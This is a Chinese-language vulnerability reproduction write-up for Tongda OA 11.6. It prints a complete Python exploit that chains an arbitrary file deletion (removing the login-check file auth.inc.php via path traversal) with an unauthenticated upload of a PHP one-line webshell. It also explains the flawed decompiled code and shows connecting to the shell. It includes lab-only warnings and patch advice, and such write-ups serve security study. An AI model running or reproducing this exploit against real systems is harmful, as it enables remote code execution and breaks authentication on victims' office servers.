通達OA11.6任意文件刪除+文件上傳組合GetShell
漏洞介紹
通達OA(Office Anywhere網絡智能辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化軟件,是與中國企業管理實踐相結合形成的綜合管理辦公平台。
通達OA為各行業不同規模的眾多用戶提供信息化管理能力,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、移動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產和決策效率。
漏洞利用思路:利用任意文件刪除漏洞刪除認證文件然后通過文件上傳寫入一句話木馬getshell
注意⚠️:此漏洞會刪除認證的文件,然后上傳shell,所以該漏洞是會破壞系統認證文件,如果成功利用后會刪除程序中的php文件可能會導致程序功能無法使用。
影響版本
版本:通達OA 11.6
鏈接:https://pan.baidu.com/s/1VqUUNUsgsssK1Mhq2r8HHQ
提取碼:him4
漏洞復現
環境搭建
靶機環境:win7系統,下載安裝包全部默認配置無腦下一步安裝
成功訪問網站登錄頁面如下
至此確認漏洞環境搭建成功
大佬給出的poc如下:
import requests
target="http://oa.test.com/"
payload="<?php eval($_REQUEST['a']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('hack.php', payload)}
requests.post(url=url,files=files)
url=target+"/_hack.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")
漏洞分析
我們通過分析POC我們可知,首先通過任意文件刪除漏洞刪除/webroot/inc/
目錄中的auth.inc.php
文件,這里利用的是目錄\webroot\module\appbuilder\assets
下print.php
文件中的一處任意文件刪除漏洞,查看代碼文件,全是亂碼,應該是經過加密處理,使用使用在線解密工具解密
http://dezend.qiling.org/free.html
解密后文件如下:
可以看到,首先對 $s_tmp
進行賦值一個要刪除的文件,最后通過unlink
函數將文件刪除,POC通過此漏洞刪除了/webroot/inc/
目錄中的auth.inc.php
文件,根據名字我們可以粗略判斷這是一段用於權限校驗的代碼,我們同樣使用解密工具解密auth.inc.php
文件
這個文件用於判斷用戶是否登錄,如果未登錄的話,就無法上傳文件,所以需要將此文件刪除,才能成功上傳成功。
所以POC的漏洞利用思路如下:
首先對 $s_tmp
進行賦值,這里的guid
為我們POC中的../../../webroot/inc/auth.inc.php
文件,最后通過unlink
函數將登錄校驗文件auth.inc.php
刪除,然后我們達到成功上傳webshell的目的。
攻擊演示
攻擊會刪除auth_inc.php
文件,這里先做個備份。(注意千萬不要找公網環境測試,本地自己搭建環境測試)
修改POC中的target為我們的靶機環境,執行腳本
成功上傳webshell文件,使用蟻劍連接
成功getshell
修復建議
以上漏洞已在官方的最新版本中修復,建議受影響的用戶升級至最新版本進行防護,
官方下載鏈接:
https://www.tongda2000.com/download/p2019.php